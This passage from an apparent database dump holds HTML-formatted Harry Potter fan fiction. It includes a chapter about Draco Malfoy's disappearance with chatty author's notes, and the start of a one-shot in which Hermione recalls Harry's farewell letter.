empty table beside them and motioned for Draco to sit there.</p>\n\n<p>&#8220;Thanks,&#8221; he said quietly as he sat down.</p>\n\n<p>&#8220;Draco,&#8221; Ron said, &#8220;nobody&#8217;s going to put you under the Cruciatus curse just because you&#8217;re sitting with us.&#8221;&nbsp; Until Ron&#8217;s comment, Draco had been slouching in a way that he looked as though he was afraid someone would spot him with Harry, Ron, and Hermione.&nbsp; He smiled uneasily and sat up.</p>\n\n<p>&#8220;So how&#8217;s life been?&#8221; Harry asked, trying to start some small talk.</p>\n\n<p>&#8220;A real bitch,&#8221; Draco replied with candor.&nbsp; Harry chuckled.</p>\n\n<p>&#8220;I know the feeling.&#8221;</p>\n\n<p>&#8220;Oh, that&#8217;s right.&nbsp; I&#8217;ve never been that close to a dementor before, but I&#8217;m sure it must be worse than having you father beating the life out of you in the dungeons.&#8221;&nbsp; Harry wasn&#8217;t sure if Draco was speaking honestly or with sarcasm; his words spoke of the latter, but his tone of voice was honest and calm.&nbsp; His silver eyes remained focused on the table.</p>\n\n<p>&#8220;Come on, Draco,&#8221; Hermione said warmly, resting her hand on Draco&#8217;s.&nbsp; Her eyes met Harry&#8217;s with an expression clearly asking for help.&nbsp; &#8220;Cheer up.&#8221;</p>\n\n<p>&#8220;I&#8217;m sure we could get that witch Kelly from Hufflepuff to lay you down on a bed and beat you,&#8221; Harry said.&nbsp; &#8220;Might be at least a little more pleasant.&#8221;&nbsp; Draco looked up, quite amused.</p>\n\n<p>&#8220;I hope you&#8217;re not talking about the same Hufflepuff Kelly that I&#8217;m thinking of,&#8221; he said.</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Harry said mischievously.&nbsp; &#8220;I mean the sexy one with black hair.&#8221;&nbsp; Hermione shot a warning glance at Harry, which Draco caught while looking up.&nbsp; He burst into laughter.</p>\n\n<p>&#8220;Jealous, are you?&#8221; he asked her jokingly.&nbsp; Hermione shot him a similar look, and he silenced rather quickly.&nbsp; &#8220;At least you have a proper wand.&nbsp; I&#8217;d like to know where the bloody hell she got hers&#8212;it looks like a lead pipe.&#8221;</p>\n\n<p>&#8220;I&#8217;d never have thought,&#8221; Ron mused in a voice loud enough for Draco to hear, &#8220;Draco Malfoy, wanting to get his hands on Kelly&#8217;s wand&#8230;&#8221;&nbsp; Even Hermione had to suppress a giggle at Ron&#8217;s antics.</p>\n\n<p>They continued, laughing all the while, up until the minute came when the last carriage to Hogwarts was ready to depart.&nbsp; The four of them occupied it alone, so they finally said their good-nights in the hallways of the castle.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry, Ron, and Hermione walked down to the Great Hall together the next morning.&nbsp; Hermione had herself a small bowl of cereal and Harry helped himself to hotcakes and sausage, while Ron helped himself to hotcakes, cereal, sausage, bacon, Canadian bacon, biscuits and gravy, eggs cooked five different ways, and three cups of coffee with cream and sugar.</p>\n\n<p>As Harry ate, he looked around, taking in the grandeur of the Hall as he waited for the morning post.&nbsp; His gaze fell upon every crevice of the room.&nbsp; When he turned his attention back to the absence of the owls, he realized that he felt something was missing.&nbsp; He brought his eyes around the room once more.</p>\n\n<p>When his eyes fell once more upon the Slytherin table, he noticed what drew his attention&#8212;or rather, didn&#8217;t draw his attention.&nbsp; The loud presence of Draco Malfoy was gone; there were no steel-gray eyes or moonlight-silver locks of hair to adorn the smug face of Slytherin&#8217;s self-named &#8220;prince&#8221;.</p>\n\n<p>&#8220;Where&#8217;d Malfoy go?&#8221; Harry asked no one in particular.&nbsp; Hearing his comment, Hermione turned to look.&nbsp; Confirming that Draco was, in fact, absent, she was just as curious as Harry, although she decided to present a few hypotheses.</p>\n\n<p>&#8220;Probably still in the common room.&nbsp; Maybe he wasn&#8217;t feeling up to coming this morning.&#8221;</p>\n\n<p>&#8220;Or he might be plotting my death,&#8221; Harry mumbled.&nbsp; He must have mumbled just loud enough for Hermione and Ron to hear, because Hermione gave him a light smack, and Ron joked about how Harry should be used to people potting his death, what with Trelawney and her bunch.</p>\n\n<p>&#8220;You still don&#8217;t trust him?&#8221; Hermione asked rhetorically.&nbsp; She shook her head and went back to eating her cereal.</p>\n\n<p>But Hermione&#8217;s suspicions that Draco was absent only from breakfast were settled once they got to double potions with the Slytherins.&nbsp; Draco was unmistakably absent, as Snape admitted, obviously stunned by Draco&#8217;s leave of absence without notification.</p>\n\n<p>Harry, even though he still didn&#8217;t trust Draco, was a little disappointed that he&#8217;d left just as they were getting somewhere; he was beginning to realize that maybe Potters and Malfoys <i>weren&#8217;t</i> born to hate each other.&nbsp; But where on Earth did Draco get off to?</p>\n\n<p>&nbsp;</p>\n\n<p>~~~~~~~~~~</p>\n\n<p>&nbsp;</p>\n\n<p>Hmm&#8230;It was interesting writing a chapter in which Draco wasn&#8217;t endlessly tormenting everyone.&nbsp; It seemed kinda boring to me&#8230;do any of you think so?&nbsp; I tried to combine a bit of a normal school lifestyle into the story while keeping a bit of a suspicious and suspenseful air&#8230;hehehe&#8230;&nbsp; Please review!</p>\n\n '),
	(208, 8, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 10 (filtered)">\n\n<title>A/N: Okay, should I feel guilty</title>\n\n<style>\n\n</style>\n\n\n\n<p>A/N: Okay, should I feel guilty?&nbsp; I have no idea, haha.&nbsp; Well, this is the last chapter I have written right now.&nbsp; I&#8217;ve had all 8 chapters of this posted at FanFiction.Net for&#8230;who knows how long now, lol.&nbsp; Yes, I&#8217;ve been holding out on you, but it&#8217;s because I wanted to post this like a normal fic, not all at once.&nbsp; But I promise, no more of that!</p>\n\n<p>On a side note before I respond to reviews, I&#8217;ve been doing a lot of good reading lately.&nbsp; If you want to go check it out (no, I&#8217;m not being asked to advertise, I just think they&#8217;re REALLY good stories), there&#8217;s &#8220;Soul Scepter&#8221; by Ryoko Blue (plus the sequel, WIP), &#8220;Fire and Ice&#8221; by Just Silver (plus the sequels&#8212;the threequel is a WIP), and &#8220;These Thorns that Bind Us&#8221; by BloodVelvet (WIP).&nbsp; The last two are slash, so&#8230;be warned, lol.&nbsp; The slash ones are on FanFiction.Net since Portkey doesn&#8217;t take those ships, but Ryoko&#8217;s story is right here.</p>\n\n<p>I&#8217;ve learned that I have to be a bit more random in my writing.&nbsp; That always seems to make it amusing.&nbsp; Really, don&#8217;t you think having a sexual attraction to broccoli just rocks?&nbsp; (Okay, Kelly, I&#8217;ll go take a cold shower, LOL).</p>\n\n<p>So&#8230;that took forever.&nbsp; Thanks to all of you who reviewed chapter 7!&nbsp; Both of you, lol.</p>\n\n<p>TimGold: Haha, you actually reviewed each chapter.&nbsp; Thanks!&nbsp; Ah, more fluff, always more fluff.&nbsp; Can&#8217;t get enough myself, but&#8230;&nbsp; I&#8217;ll try.&nbsp; Wait till the next chapter&#8212;there&#8217;s gonna be a whooooooooole lot!</p>\n\n<p>Clyde: Thanks a lot!&nbsp; Haha, you&#8217;ve actually R/Red the whole thing, too.&nbsp; Enjoy this chapter!</p>\n\n<p>Oh, and Foofie: You&#8217;re horrible.&nbsp; Happy birthday, though, LOL.&nbsp; How&#8217;s your shirt? ;)</p>\n\n<p>~~~~~~~~~~</p>\n\n<p><b>Chapter 8 ~ The Secret World of Our Dreams</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I have an announcement to make,&#8221; Dumbledore called out over the din of the Great Hall at dinner, &#8220;concerning recent events which, until this time, have not been able to be disclosed to the public.&#8221;</p>\n\n<p>Harry, Ron, and Hermione looked up in anticipation; they knew, without even having spoken to Dumbledore about it yet, that this was about Malfoy.&nbsp; He&#8217;d been absent for a week, and despite their persistent badgering, the teachers refused to disclose any information.</p>\n\n<p>&#8220;I wonder what he&#8217;s going to say?&#8221; Ron mused.</p>\n\n<p>&#8220;First of all,&#8221; Dumbledore announced over the quickly quieting students, &#8220;some of you have been worried over the sudden disappearance of one of our Slytherin students.&nbsp; I would like to allay all fears that something has happened.&nbsp; A relative has fallen horribly ill, and his father came to take him out of school.&#8221;</p>\n\n<p>&#8220;That&#8217;s nice to know,&#8221; Hermione said.&nbsp; &#8220;At least he wasn&#8217;t kidnapped or anything.&#8221;</p>\n\n<p>&#8220;Too bad he wasn&#8217;t killed,&#8221; Ron joked.&nbsp; Hermione glared at him, and he argued that he was only joking.</p>\n\n<p>&#8220;Second,&#8221; came Dumbledore&#8217;s booming voice again, &#8220;the pre-holiday trip to Hogsmeade will not be cancelled.&#8221;&nbsp; Apparently, he hadn&#8217;t conferred with the teachers on this matter.&nbsp; Hagrid seemed a bit happy, actually, but Professors Snape and McGonagall, among others, stared in disbelief at the headmaster.&nbsp; &#8220;I am of the opinion that the professors&#8217; leave of absence was not your fault and that your usual holiday should not be taken away because you&#8217;ve already had one.&nbsp; There is no such thing as too much vacation,&#8221; he added with a slight smile.&nbsp; &#8220;That said, let&#8217;s eat!&#8221;</p>\n\n<p>As the usual feast appeared throughout the Great Hall, the students&#8217; voices rose once more into uncontrollable chatter discussing both of the matters Dumbledore had addressed.</p>\n\n<p>&#8220;I can&#8217;t wait to go to Hogsmeade again!&#8221; Ron said.&nbsp; &#8220;Good thing Ginny can come this year, eh?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; Harry groaned.&nbsp; He had no particular problem with Ginny, but her ever-apparent crush on him seemed to haunt him in his sleep, especially now that he had Hermione.</p>\n\n<p>&#8220;But we&#8217;re still not going until the week before Christmas, if I&#8217;m not mistaken,&#8221; Hermione said matter-of-factly.</p>\n\n<p>&#8220;And you never are,&#8221; Ron mumbled.</p>\n\n<p>&#8220;Oh, do shut up,&#8221; Hermione sighed, rolling her eyes.&nbsp; Harry shook his head and chuckled.&nbsp; The next few weeks would be interesting&#8230;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;RONALD WEASLEY, GET DOWN HERE THIS INSTANT!&#8221;</p>\n\n<p>Running down the stairs in alarm, Ron saw Hermione standing with her hands on her hips in the common room, steam almost literally coming out of her ears.&nbsp; The only thing more obvious about her appearance was that she no longer retained her pale pinkish skin tone.&nbsp; In fact, it seemed to be flashing every color except her natural skin tone.</p>\n\n<p>&#8220;That looks good on you,&#8221; Ron said, trying desperately to stifle his giggles.</p>\n\n<p>&#8220;Boys don&#8217;t giggle,&#8221; Hermione scolded him once more as a wave of blue washed over her skin.&nbsp; &#8220;I want you to reverse this charm <i>immediately</i> before you <i>become</i> a slug.&#8221;</p>\n\n<p>&#8220;I can&#8217;t,&#8221; Ron laughed as Hermione turned a shade of bright orange.&nbsp; &#8220;Fred and George made those things, and they&#8217;re&#8230;indisposed at the moment.&#8221;</p>\n\n<p>Glaring at him, Hermione was almost whispering in her rage.&nbsp; Of course, she wasn&#8217;t <i>that</i> mad at Ron, being as they were best friends and she knew how his mind worked, but she was still considerably unhappy.&nbsp; She looked down at her hands, which were leaking green hues up her arms.&nbsp; The never-ending wonders of Fred and George&#8217;s imaginations&#8230;</p>\n\n<p>&#8220;Well, make them un-indisposed,&#8221; she hissed, &#8220;before I make them disposed.&#8221;</p>\n\n<p>At that moment, Harry came down the stairs to see what the commotion was all about.&nbsp; Ron brushed briskly past him as he ran to find Fred and George somewhere in the dorms, still concocting more gags for Weasley&#8217;s Wizard Wheezes.&nbsp; Upon seeing Hermione, Harry&#8217;s face first showed great alarm, but realizing that Ron had only given her one of the twins&#8217; &#8220;treats&#8221;, he started laughing.</p>\n\n<p>&#8220;Don&#8217;t you dare start laughing,&#8221; she said to him, &#8220;or you will be out of here like <i>that</i>.&#8221;&nbsp; She snapped her fingers to emphasize her point.</p>\n\n<p>&#8220;Yes, Miss Delacour,&#8221; Harry mocked, remembering how Fleur had used the same phrase during the Yule Ball last year.&nbsp; &#8220;I don&#8217;t have anything to fear.&#8221;</p>\n\n<p>&#8220;Oh, and what makes you think that?&nbsp; You&#8217;ll be out of my life in a heartbeat if you make one more comment about this,&#8221; she snapped.&nbsp; Harry shrugged.</p>\n\n<p>&#8220;Empty threat,&#8221; he said nonchalantly.&nbsp; Hermione was fuming, but she was finding it difficult to stay angry at Harry for very long.</p>\n\n<p>&#8220;You know me too well,&#8221; she sighed after a moment&#8217;s pause.&nbsp; &#8220;But I don&#8217;t want any more people to see me like this.&#8221;</p>\n\n<p>Thinking hard, Harry said, &#8220;Have you tried using <i>Finite Incantatem</i>?&#8221;</p>\n\n<p>&#8220;Of course,&#8221; Hermione said in her I&#8217;m-not-<i>that</i>-stupid tone of voice.</p>\n\n<p>&#8220;Just checking,&#8221; Harry said, trying to calm her down.&nbsp; He went to her and put his arms around her waist.&nbsp; &#8220;That shade of red looks great on you, though,&#8221; he joked.&nbsp; Hermione&#8217;s smile quickly faded, and she brought her knee swiftly upward.&nbsp; Harry jumped back and put his hands straight to where Hermione&#8217;s knee went.</p>\n\n<p>&#8220;Oh, my God,&#8221; he gasped, falling on the floor.</p>\n\n<p>&#8220;Get up, you baby,&#8221; Hermione said patronizingly.&nbsp; &#8220;It can&#8217;t hurt that much.&#8221;</p>\n\n<p>&#8220;You have no idea,&#8221; Harry said, still trying desperately to catch his breath.&nbsp; Suddenly, a smile came to his face, and he pulled Hermione down into his arms.&nbsp; &#8220;But you can kiss it and make it all better,&#8221; he hinted.</p>\n\n<p>Hermione pushed herself out of his arms and glared down at him, but her face eventually faded into a smile.&nbsp; &#8220;As if you could ever get me into bed.&#8221;&nbsp; She turned and walked off as Harry got to his feet, his manhood still throbbing in pain.</p>\n\n<p>&#8220;Wanna bet?&#8221; he muttered under his breath.</p>\n\n<p>&#8220;What was that?&#8221;&nbsp; Hermione turned around to face Harry.</p>\n\n<p>&#8220;Nothing.&#8221;&nbsp; Hermione raised her eyebrow at him.&nbsp; She opened her mouth as though she was going to say something, but she thought better of it and shook her head.&nbsp; As she walked off, Harry bounced on his heels, trying desperately to alleviate the pain from Hermione&#8217;s &#8220;joking&#8221; strike.&nbsp; He quickly muttered a healing charm that reduced his pain.&nbsp; Harry sighed in relief and flung himself over the back of the sofa into its cushiony depths.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry woke up the next morning to see the fireplace in front of him.&nbsp; Realizing that he&#8217;d fallen asleep on the sofa once more, he quickly got up and ran to the dorms to grab some clean clothes before heading off to the bathroom to shower.&nbsp; He was lucky; it was already quite late in the morning, but he didn&#8217;t have Transfiguration with the Ravenclaws until eleven o&#8217;clock.</p>\n\n<p>When Harry came out of the shower (he&#8217;d finally given up on his hair), Hermione was waiting in the common room for him when he returned.&nbsp; She had a book that Harry considered quite small for something that she was reading.</p>\n\n<p>&#8220;What are you reading?&#8221; he asked as he came up behind her.</p>\n\n<p>Without looking up, Hermione replied, &#8220;One of my favorites.&nbsp; It&#8217;s <i>As I Lay Dying</i> by William Faulker.&nbsp; He&#8217;s an American author, and his style is most intriguing.&#8221;&nbsp; Harry bent down and leaned on the back of the sofa to see what was &#8220;most intriguing&#8221; about this novel.</p>\n\n<p>&#8220;What in the bloody name of the States is this?&nbsp; &#8216;My mother is a fish?&#8217;&nbsp; What on Earth&#8230;&#8221;&nbsp; Hermione laughed out loud.</p>\n\n<p>&#8220;Oh, it&#8217;s a horribly twisted book.&nbsp; Drilling holes in your mother&#8217;s face, dragging a rotting corpse for three weeks in a wooden wagon, <i>getting it</i> from the doctor who&#8217;s supposed to be giving you an abortion&#8230;&nbsp; It&#8217;s all very interesting.&#8221;</p>\n\n<p>&#8220;I think I&#8217;ll pass,&#8221; Harry said, wondering why on Earth Hermione was reading this book.</p>\n\n<p>&#8220;It&#8217;s a classic of American literature.&nbsp; You have no idea what you&#8217;re missing,&#8221; she insisted.</p>\n\n<p>&#8220;I think I&#8217;d rather not know what I&#8217;m missing, thank you,&#8221; Harry said.&nbsp; Hermione was about to interject once more, but the clock above the fireplace chimed 10:30, and they decided that they should be off to McGonagall&#8217;s class.</p>\n\n<p>They were supposed to be transfiguring mothballs into moths, but Ron, who ran into the classroom just as McGonagall began class, was not very happy because of his mottephobia.&nbsp; Nonetheless, he successfully turned two mothballs into Luna Moths, which he promptly disposed of with a muttering of &#8220;<i>Incendio</i>&#8221; when McGonagall had her back turned.&nbsp; As a puff of smoke rose from Ron&#8217;s desk and began wafting throughout the room with each successful transfiguration, McGonagall became slightly suspicious but refrained from saying anything.</p>\n\n<p>Herbology with the Slytherins was unsettling.&nbsp; Crabbe and Goyle kept looking at each other as though they were lost without Malfoy.&nbsp; His absence made Harry, Ron, and Hermione confused; they were used to his jeering insults being thrown their way every few moments, and the tranquil atmosphere of the greenhouses was different but welcome.</p>\n\n<p>&#8220;How is the Monk&#8217;s Hood coming, dears?&#8221; Professor Sprout asked.&nbsp; Her chubby, perky face appeared behind them.&nbsp; They&#8217;d each managed to collect quite a few leaves for Snape&#8217;s stores, as he said they were running a bit low, but the way the plants shrank back when you pulled a leaf off made Hermione queasy.</p>\n\n<p>&#8220;It&#8217;s fine,&#8221; Ron replied.&nbsp; &#8220;Hermione&#8217;s getting a bit tweaked, though.&#8221;</p>\n\n<p>Hermione blushed and stammered her arguments to Professor Sprout.&nbsp; &#8220;It just seems like we&#8217;re hurting them, what with the way they move away.&#8221;</p>\n\n<p>&#8220;Don&#8217;t worry about it, child,&#8221; Professor Sprout said, putting her arm around Hermione.&nbsp; &#8220;They&#8217;d rather have a human do it than a wolf.&#8221;</p>\n\n<p>&#8220;Yes,&#8221; Hermione said, her bookishness coming into full effect, &#8220;Wolf&#8217;s Bane is the canine equivalent of catnip: they&#8217;re attracted to it, but it has some rather&#8230;unpleasant effects if not used in moderation.&#8221;&nbsp; Professor Sprout smiled at Hermione&#8217;s extensive knowledge as she walked off to attend to other students.</p>\n\n<p>Harry thought to himself what Draco would have said, had he been there.&nbsp; &#8220;Don&#8217;t hurt the poor plant, Mudblood.&nbsp; It&#8217;s probably afraid of just touching you more than losing a few leaves.&#8221;&nbsp; Harry felt the color rising to his cheeks as he thought about Malfoy, even with the slight truce they&#8217;d made.&nbsp; Where on Earth had Malfoy gone?&nbsp; When Dumbledore had addressed the students, Harry could tell that he didn&#8217;t completely believe Lucius&#8217; reason for the withdrawal of his son.</p>\n\n<p>And for some reason, whenever Harry had the feeling that Lucius was lying, the hairs on the back of his neck stood on end.&nbsp; He ripped a leaf off of one of the Wolf&#8217;s Bane plants, causing it to jump out of the pot.&nbsp; <i>What&#8217;s going on?</i> Harry thought.</p>\n\n<p>~~~~~~~~~~</p>\n\n<p>Haha, well that&#8217;s a very nice chapter.&nbsp; Yeah, so Harry and Hermione kinda switched perspectives on Draco there for a while.&nbsp; I promise you&#8217;ll all enjoy chapter 9.&nbsp; I&#8217;ll give you a hint: Harry and Hermione go to Hogsmeade!&nbsp; And just for you, Clair, the chapter is pissing me off because I can&#8217;t find a good place to cut/stop, so it&#8217;s 5000 words and nowhere NEAR done.&nbsp; So if it takes a while, my apologies to you all.&nbsp; Go read Heaven&#8217;s stories if you get bored, lol.&nbsp; She&#8217;ll appreciate it.&nbsp; So PLEASE review and tell me what you think!&nbsp; I&#8217;ll have chapter 9 up ASAP&#8230;which, knowing me, lol&#8230;</p>\n\n<p>~~~~~~~~~~</p>\n\n<p>Oh, and I just had the most interesting convo with one of my friends, and I just had to share it with you.</p>\n\n<p>Her: So what <i>is </i>your favorite color?</p>\n\n<p>Me: Hey, that&#8217;s not a fair question.</p>\n\n<p>Her: Why not?</p>\n\n<p>Me: Technically, leopard-print isn&#8217;t a color.</p>\n\n<p>Eh, she&#8217;s even hornier than I am, but my fav color really is blue, lol.&nbsp; I just like messin with her sometimes.&nbsp; If any of you want to AIM me, I&#8217;d be honored&#8212;my AIM is the same as my penname.</p>\n\n '),
	(211, 1, '\n\n\n\n<p class="MsoTitle">Remembrance</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I&#8217;ll never\nforget that morning, even though I&#8217;d rather not remember.&nbsp; We knew that he often couldn&#8217;t sleep, and\nwandered the corridors endlessly, but he always returned by sunup.&nbsp; And he was never late for breakfast.&nbsp; He was often even early.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His curtains\nwere always drawn, whether the bed was in use or not.&nbsp; And he always made it himself; neatness was a byproduct of his\nearly years, which were mostly spent in servitude.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But in the\nhall, he could not be found, and no one else noticed, because he often skipped\nmeals if he was nervous.&nbsp; We began to\nworry when he wasn&#8217;t found before the first class.&nbsp; We ran to the dormitories and pulled hack his curtains, expecting\nto see him still fast asleep, perhaps sick.&nbsp;\nHe was notorious for ignoring the workings of his own body.&nbsp; It had almost gotten him killed more than\nonce.&nbsp; Maybe this time was not\nexception.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I almost\nfainted when I saw what was there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Two letters,\none addressed to each of us, and an additional one addressed to Dumbledore.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; With a\nshaking hand I broke the emerald green seal.&nbsp;\nIt cracked across the lightning bolt that had become his symbol in our\nworld.&nbsp; In everyone&#8217;s eyes, he was the\nequal of the Greek god Zeus &#8211; all-powerful, the savior and hero.&nbsp; I still have that cracked seal.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The small\nfeeling of dread that had been stationed at the bottom of my stomach slowly spread\nupwards and gripped my heart tightly.&nbsp; I\ncouldn&#8217;t breathe, and I collapsed on his bed, the letter clutched to my chest\nand tears flowing freely down my face.&nbsp;\nI was lost in my own thoughts and pulled my wand on the person who put\nan arm around my shoulder.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When his red\nhair registered in my numbed mind, my wand clattered to the floor, rolling\naway.&nbsp; I leaned into Ron&#8217;s shoulder,\nclutching him as hard as I could.&nbsp; I\nlost one friend that day, and I clung to the other as if my life depended on\nit.&nbsp; I think that at the time it\ndid.&nbsp; And it still does, even now.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As I stood\nat the alter during our wedding, a different face swam before my eyes.&nbsp; Black hair, instead of red; green eyes,\ninstead of blue.&nbsp; My husband knew it\nthen, and he knows it now.&nbsp; He&#8217;s read my\nmost treasured possession &#8211; once, before we were married, and I&#8217;ve read my\nhusband&#8217;s most treasured as well.&nbsp; This\narrangement was <i>his</i> wish, and neither myself or my husband had the will\nto disobey his last request.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Our families\nare happy, not knowing the real reason behind it.&nbsp; We have no children, telling his mother that we didn&#8217;t want\nany.&nbsp; The truth is that we&#8217;ve never been\nalone in our bed.&nbsp; No matter how fare\naway we move, <i>his</i> ghost is always there &#8211; stalking, whispering,\nloving.&nbsp; His letter is with me always,\nclose to my heart.&nbsp; I read it at least\nonce, even though I recite it several hundred times, a day.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His\nhandwriting and the broken seal are the last remains I have of him.&nbsp; His belongings were taken to a museum,\ndespite his wishes.&nbsp; His wand lied\nbesides it&#8217;s brother, the last remains of his enemy, who disappeared the same\nday he did.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I handle the\nold, frail parchment carefully as I read:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>My Dearest,</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; On a day,\nalack the day!</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Love,\nwhose month is ever May,</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Spied a\nblossom passing fair</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Playing\nin the wanton air:</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Through\nthe velvet leaves the wind, </i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All\nunseen, &#8217;gan passage find;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That the\nlover, sick to death,</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wished\nhimself the heaven&#8217;s breath.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Air,\nquoth he, thy cheeks may blow;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Air,\nwould I might triumph so!</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But,\nalack, my hand is sworn</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ne&#8217;er to\npluck thee from thy thorn:</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Vow,\nalack for youth unmeet;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Youth so\napt to pluck a sweet.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Do not\ncall it sin in me</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; That I am\nforsworn for thee:</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thou for\nwhom e&#8217;en Jove would swear</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Juno but\nan Ethiope were,</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; And deny\nhimself for Jove,</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Turning\nmortal for they love.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This is\nus, Hermione.&nbsp; I can&#8217;t deny it any\nlonger, but I also can&#8217;t be near you when I do admit it.&nbsp; I&#8217;m sorry I can&#8217;t say this to your face, but\nby the time you find this, I won&#8217;t be talking anymore.</p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Do not\nworry about my enemy.&nbsp; He will be gone,\nbeyond all hope of return when you read.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I hope\nthat you and Ron will be happy together without risking your lives every\nyear.&nbsp; I hope your children will know\nwhat happiness is and what life is without an enemy dogging their steps when\nthey grow up.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I want\nyou to promise me a few things, Hermione:</i></p>\n\n<p 